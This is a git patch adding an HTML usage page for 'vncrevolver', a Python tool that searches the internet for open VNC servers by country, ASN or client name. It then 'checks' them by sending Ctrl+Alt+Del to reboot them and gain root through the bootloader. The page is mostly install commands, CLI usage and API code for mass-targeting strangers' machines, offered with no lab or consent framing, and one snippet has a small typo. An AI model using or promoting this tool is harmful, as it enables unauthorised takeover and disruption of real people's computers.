From 4f5ad6a7af15a43e1469e994618e24c623177359 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cristian=20Cezar=20Mois=C3=A9s?= <86272521+cristiancmoises@users.noreply.github.com> Date: Sun, 18 Feb 2024 06:28:49 +0000 Subject: Add files via upload --- site/-vnc-revolver.html | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 site/-vnc-revolver.html (limited to 'site/-vnc-revolver.html') diff --git a/site/-vnc-revolver.html b/site/-vnc-revolver.html new file mode 100644 index 0000000..d9b8fd8 --- /dev/null +++ b/site/-vnc-revolver.html @@ -0,0 +1,36 @@ +
Dependencies
]Install
]Features
]Usage
] pip install pydantic
+ pip install asyncvnc
+ pip install aiohttp
git clone https://github.com/cristiancmoises/vncrevolver
+cd vncrevolver
| Some Features | +|------------------------------------------------------------------------------------| +| 🌎 Search for many open Vnc Servers around the world | +| 📍 Filter by country | +| 🔢 List more than one | +| 🖥️ List by Client name | +| ✅ Checks them for vulnerabilities by rebooting the machine via Ctrl+ALT+DEL, obtaining root access through the operating system bootloader easyly. |
python -m vncrevolver
python -m vncrevolver --clientname ubuntu --count 10
python -m vncrevolver --clientname ubuntu --count 10 --check_crt_alt_del
python -m vncrevolver --check_crt_alt_del 123.12.1.23:5901
START ME UP!
$ python -m vncrevolver --help
+
+usage: vncrevolver [-h] [--clientname CLIENTNAME] [--country COUNTRY] [--asn ASN] [--count COUNT] [--check_crt_alt_del [CHECK_CRT_ALT_DEL]] [--show_failed] [--screen_delay SCREEN_DELAY]
+
+optional arguments:
+-h, --help show this help message and exit
+--clientname CLIENTNAME
+ Filter by client name, note that it is case-sensitive!
+--country COUNTRY Filter by ISO 3166-1 alpha-2 country code
+--asn ASN Filter by ASN
+--count COUNT Number of VNCs to find
+--check_crt_alt_del [CHECK_CRT_ALT_DEL]
+ If you specify this parameter without a value, only those VNCs from the search that pass the ctrl_alt_del check will be returned. If a value is passed, it must be a VNC
+ address that will be checked against ctrl_alt_del.
+--show_failed Return VNCs that failed the ctrl_alt_del check
+--screen_delay SCREEN_DELAY
+ Delay between taking two screenshots in milliseconds
Use filters:
from typing import List
+from vncrevolver.search import VNC, search_filter
+
+hosts: List[VNC] = await search_filter(clientname='ubuntu')
+for vnc in hosts:
+print(vnc.ip, vnc,port)
Random Search
from vncrevolver.search import VNC, search_random
+vnc: VNC = await search_random()
+print(vnc.ip, vnc.port)
Ctrl + ALT + DEL - CHECK UP!
from vncrevolver.search import VNC, search_random
+from vncrevolver.vnc import check_crt_alt_del
+vnc: VNC = await search_random()
+print(await check_crt_alt_del(vnc.ip, vnc.port))